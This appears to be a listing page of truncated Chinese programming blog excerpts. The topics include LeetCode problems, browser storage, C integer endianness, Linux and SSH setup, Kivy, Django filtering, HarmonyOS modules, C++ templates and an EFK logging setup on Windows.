题目 给定一个长度为 n 的整数数组 height 。有 n 条垂线&#xff0c;第 i 条线的两个端点是 (i, 0) 和 (i, height[i]) 。 找出其中的两条线&#xff0c;使得它们与 x 轴共同构成的容器可以容纳最多的水。 返回容器可以储存的最大水量。 说明&#xff1a;你不能倾斜容器。…

浏览器---浏览器/http相关面试题

1.localStorage和sessionStorage 共同点&#xff1a;二者都是以key-value的键值对方式存储在浏览器端&#xff0c;大小大概在5M。 区别&#xff1a; &#xff08;1&#xff09;数据有效期不同&#xff1a;sessionStorage仅在当前浏览器窗口关闭之前有效&#xff1b;localStorag…

C语言第二十八弹---整数在内存中的存储

✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】 目录 1、整数在内存中的存储 2、大小端字节序和字节序 2.1、什么是大小端&#xff1f; 2.2、为什么有大小端? 2.3、练习 2.3.1、练习1 2.3.2、练习2 2.…

安装SSH连接工具

连接Linux 1). 打开finalShell 2). 建立连接 Linux目录结构 在Linux系统中&#xff0c;也是存在目录的概念的&#xff0c;但是Linux的目录结构和Windows的目录结构是存在比较多的差异的 在Windows目录下&#xff0c;是一个一个的盘符(C盘、D盘、E盘)&#xff0c;目…

使用python构建Android,探索跨平台应用开发Kivy框架

使用python构建Android&#xff0c;探索跨平台应用开发Kivy框架 1. 介绍Kivy框架 Kivy是什么&#xff1f; Kivy是一个开源的Python跨平台应用程序开发框架&#xff0c;旨在帮助开发者快速构建创新的、可扩展的移动应用和多点触控应用。Kivy采用MIT许可证&#xff0c;允许开发…

java数据结构与算法刷题-----LeetCode102. 二叉树的层序遍历

java数据结构与算法刷题目录&#xff08;剑指Offer、LeetCode、ACM&#xff09;-----主目录-----持续更新(进不去说明我没写完)&#xff1a;https://blog.csdn.net/grd_java/article/details/123063846 1. 法一&#xff1a;广度优先遍历&#xff08;队列&#xff09; 解题思路…

嵌入式Qt 计算器核心算法_2

一.中缀表达式转后缀表达式 中缀表达式是最常用的算术表达式形式——运算符在运算数中间。但运算时需要考虑运算符优先级。 ​后缀表达式是计算机容易运算的表达式&#xff0c;运算符在运算数后面&#xff0c;从左到右进行运算,无需考虑优先级,运算呈线性结构。 1 2 * 3// …

django自定义后端过滤

​ DRF自带的过滤 第一个 DjangoFilterBackend 是需要安装三方库见[搜索&#xff1a;多字段筛选]两外两个是安装注册了rest_framework就有。 如上图&#xff0c;只要配置了三个箭头所指的方向&#xff0c;就能使用。 第一个单字段过滤 用户视图集中加上filterset_fields …

HarmonyOS—添加/删除Module

Module是应用/服务的基本功能单元&#xff0c;包含了源代码、资源文件、第三方库及应用/服务配置文件&#xff0c;每一个Module都可以独立进行编译和运行。一个HarmonyOS应用/服务通常会包含一个或多个Module&#xff0c;因此&#xff0c;可以在工程中创建多个Module&#xff0…

C++模板从入门到入土

1. 泛型编程 如果我们需要实现一个不同类型的交换函数&#xff0c;如果是学的C语言&#xff0c;你要交换哪些类型&#xff0c;不同的类型就需要重新写一个来实现&#xff0c;所以这是很麻烦的&#xff0c;虽然可以cv一下&#xff0c;有了模板就可以减轻负担。 下面写一个适…

Windows下搭建EFK实例

资源下载 elasticSearch &#xff1a;下载最新版本的就行 kibana filebeat&#xff1a;注意选择压缩包下载 更新elasticsearch.yml&#xff0c;默认端口9200&#xff1a; # Elasticsearch Configuration # # NOTE: Elasticsearch comes with reasonable defaults for most …